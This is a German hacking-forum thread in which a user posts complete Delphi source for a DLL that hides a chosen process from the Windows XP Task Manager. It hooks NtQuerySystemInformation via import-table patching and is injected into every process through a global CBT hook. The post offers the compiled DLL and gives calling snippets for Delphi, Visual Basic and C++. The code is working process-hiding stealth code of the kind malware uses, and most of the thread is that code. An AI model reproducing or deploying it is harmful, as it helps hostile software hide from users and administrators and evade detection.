Prozess verstecken unter XP

Schon öfters bin ich der Frage begegnet, wie man Prozesse unter Windows XP vor dem Taskmanager verstecken kann. Es erweist sich als wirklich schwieriges unterfangen. Da man die API hooken muss. (Habo-Wiki: Windows API)

Um das zu vereinfachen, habe ich in Delphi eine DLL geschrieben, die eine Funktion exportiert, die diese Aufgabe erledigt:

function HideNtProcess(pid:DWORD):BOOL;

PID ist die Prozess-ID. Bei erfolgreichen hooken der NtQuerySystemInformation per IAT-Hooking.

Der Code ist komplett unkommentiert (nur eine Anmerkung).
Falls viele unbedingt möchten werde ich mich aufraffen und es mal tun. Aber ehrlich gesagt habe ich überhaupt keinen Bock :D Also rechnet nicht UNBEDINGT damit.

Ich werde aber möglicherweise noch ein Tutorial schreiben, wie man die API per DLL-Injection hookt, falls das euch interessiert. Um das Tutorial auch für Anfänger verständlich zu machen, werden fertige Komponenten benutzt.

Nun der Code:

Code:
library HideProcessNT;

uses
  Windows,tlhelp32,ImageHlp,SysUtils;

var
 hmap: THandle;
 hFirstMapHandle:THandle;
 type SYSTEM_INFORMATION_CLASS = (SystemBasicInformation,SystemProcessorInformation,SystemPerformanceInformation,
 SystemTimeOfDayInformation,SystemNotImplemented1,SystemProcessesAndThreadsInformation,SystemCallCounts,
 SystemConfigurationInformation,SystemProcessorTimes,SystemGlobalFlag,SystemNotImplemented2,SystemModuleInformation,
 SystemLockInformation,SystemNotImplemented3,SystemNotImplemented4,SystemNotImplemented5,
 SystemHandleInformation,SystemObjectInformation,SystemPagefileInformation,
 SystemInstructionEmulationCounts,SystemInvalidInfoClass1,SystemCacheInformation,
 SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation,
 SystemNotImplemented6,SystemLoadImage, SystemUnloadImage,SystemTimeAdjustment,
 SystemNotImplemented7,SystemNotImplemented8,SystemNotImplemented9,
 SystemCrashDumpInformation,SystemExceptionInformation,SystemCrashDumpStateInformation,
 SystemKernelDebuggerInformation,SystemContextSwitchInformation,SystemRegistryQuotaInformation,
 SystemLoadAndCallImage,SystemPrioritySeparation,SystemNotImplemented10,SystemNotImplemented11,
 SystemInvalidInfoClass2,SystemInvalidInfoClass3,SystemTimeZoneInformation,
 SystemLookasideInformation,SystemSetTimeSlipEvent,SystemCreateSession, SystemDeleteSession,SystemInvalidInfoClass4,
 SystemRangeStartInformation,SystemVerifierInformation,SystemAddVerifier,SystemSessionProcessesInformation
);
PFARPROC=^FARPROC;
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(Characteristics: DWORD);
1:(OriginalFirstThunk:DWORD;TimeDateStamp:DWORD;ForwarderChain: DWORD;Name: DWORD;FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

procedure RedirectIAT(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
   pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
    pszModName: PChar;
        pThunk: PDWORD; ppfn:PFARPROC;
        ffound: LongBool;
       written: DWORD;
begin
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name<>0 do
   begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
   end;
  if (pImportDesc.Name = 0) then exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^<>0 do
   begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
     if (fFound) then
      begin
       VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
       WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
       exit;
      end;
    Inc(pThunk);
   end;
end;

var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label lop, nextpid, exit, fillzero;
asm
 push ReturnLength
 push SystemInformationLength
 push SystemInformation
 push dword ptr SystemInformationClass
 call dword ptr [addr_NtQuerySystemInformation]
 or eax,eax
 jl exit
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation
 jne exit
lop:
 mov esi, SystemInformation
nextpid:
 mov ebx, esi
 cmp dword ptr [esi],0
 je exit
 add esi, [esi]
 mov ecx, [esi+44h]
 cmp ecx, mypid
 jne nextpid
 mov edx, [esi]
 test edx, edx
 je fillzero
 add [ebx], edx
 jmp lop
fillzero:
 and [ebx], edx
 jmp lop
exit:
 mov Result, eax
end;

procedure FuncIncept;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
 ZeroMemory(@me32,sizeof(MODULEENTRY32));
 me32.dwSize:=sizeof(MODULEENTRY32);
 Module32First(hSnapShot,me32);
repeat
  RedirectIAT('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
until not Module32Next(hSnapShot,me32);
   finally
    CloseHandle(hSnapShot);
   end;
end;

procedure FreeFunc;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     RedirectIAT('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 Result:=0;
end;

procedure AttachHook; stdcall;
begin
 HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
FreeFunc() else
CloseHandle(hFirstMapHandle);
end;

function HideNtProcess(pid:DWORD):BOOL; stdcall;
var addrMap: PDWORD;
       ptr2: PBOOL;
       OnlyBlindTaskmgr: BOOL;
begin
 mypid:=0;
 result:=false;
 OnlyBlindTaskmgr:=False;  // Man könnte dies in die Paramter übernehmen um sich somit NUR vor dem Taskmanager unsichtbar zu machen
 hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
 addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then
   begin
    CloseHandle(hFirstMapHandle);
    exit;
   end;
 addrMap^:=pid;
 ptr2:=PBOOL(DWORD(addrMap)+4);
 ptr2^:=OnlyBlindTaskmgr;
 UnmapViewOfFile(addrMap);
 AttachHook;
 result:=true;
end;

exports
HideNtProcess;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
if hmap=0 then exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
FuncIncept;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.

Im Attachment findet ihr die fertige DLL, wenn ihr nicht mit Delphi proggt.
Unter Delphi importiert man die DLL wie folgt (statisch):

Code:
//Deklerationen
function HideNtProcess(pid:DWORD):BOOL; stdcall;external 'HideProcessNT.dll';
...
implementation
...
begin
...
If HideNtProcess(GetCurrentProcessId) Then Windows.MessageBox(0,'Der Prozess ist nicht mehr im Taskmanager sichtbar','HideNtProcess',MB_ICONINFORMATION);
...
end.

Beachtet, dass euer Prozess jedoch immernoch für andere Taskmanager, die zusätzlich noch andere Prozessauflistungsmethoden benutzen, sichtbar ist. (ProcExplorer, HijackThis).

Have Phun...
 
Bitte nicht nur "möglicherweise". Solche Beiträge machen das HaBo-wiki aus. Will sagen: Lasse Dich nicht davon abbringen. Please. großes Grinsen

Na, das will ich doch auch meinen. :P

Und so ein kommentierter Code ist auch wirklich eine feine Sache. *mitZaunpfahlwink* :]

root
 
Du musst doch nur meine DLL runterladen und in dein VB Projekt einbinden.
Ich kann VB nich. Aber es geht afair so:

(! keine Garantie auf Richtigkeit)
PID ist die Prozess-ID des Prozesses , welches du verstecken willst.
Code:
Declare Function HideNtProcess Lib "HideProcessNT.dll" (ByVal Value As DWORD) As BOOL

HideNtProcess(PID);

Huch 8o . Jetzt wollt ihr meinen Schinken noch kommentiert haben. Eigentlich wollt ich ja nur die DLL releasen. Den Sourcecode hab ich eigentlich nur Nornagest zur Liebe gepostet. Wenn ich mal sonst nichts zu tun habe, werde ich das mal machen.

Auf das Tutotrial werdet ihr wohl noch warten müssen, da ich es für Laien verständlich machen möchte.
 
Da die ganze Diskussion aus dem ruder lief hab ich den Rest des Threads verschoben und hier kann nun sinnvoll weiterdiskutiert werden.
Viel Spaß noch :)
 
wollt auch noch ma nach dem tut fragen...
hab zwar schon n paar sachen gefunden mit iat hooking etc., aber bis jetzt leider noch nix deutsches
normalerweise hab ich zwar keine probleme mit englischen artikeln, aber in dem fall isses mir n bisschen zu hart da dort nur noch mit fachbegriffen um sich geworfen wird, und wenn das ganze dann noch auf E ist, komm ich da nimmer mit :D
falls mir wer was anderes empfehlen kann (was verständliches auf Englisch wär auch schon nicht schlecht) immer raus damit

mfg
 
Hi @all,
das Thema ist jetzt ja schon relativ antiquitiert und da wollte ich mal fragen ob aus dem Tutorial etwas geworden ist.

Danke!
 
woher weiß ich was ich für einen C++ Befehlsaufruf ich meinem Compiler sagen soll?
wie heist di funtkion?

kann mal bitte wer einen beispiel code in c++ posten.

ja ich weis, google ist mein freund.

trozdem bitte !

thx im voraus!

lg sym
 
Code:
am beste in irgend eine header-datei: 
typedef BOOL (*HIDENTPROCESSFUNC)(DWORD);

im code:
HIDENTPROCESSFUNC HideNtProcess = (HIDENTPROCESSFUNC)GetProcAddress(LoadLibrary("HideNtProcess.dll"), "HideNtProcess");

HideNtProcess(123546);
--Ohne gewähr (ungetestet..)

mfg
 
Entweder im Taskmanager, über die Toolhelp API (CreateToolhelp32Snapshot) oder wenn du's ganz Hardcore machen willst über NtQuerySystemInformation
 
Zurück
Oben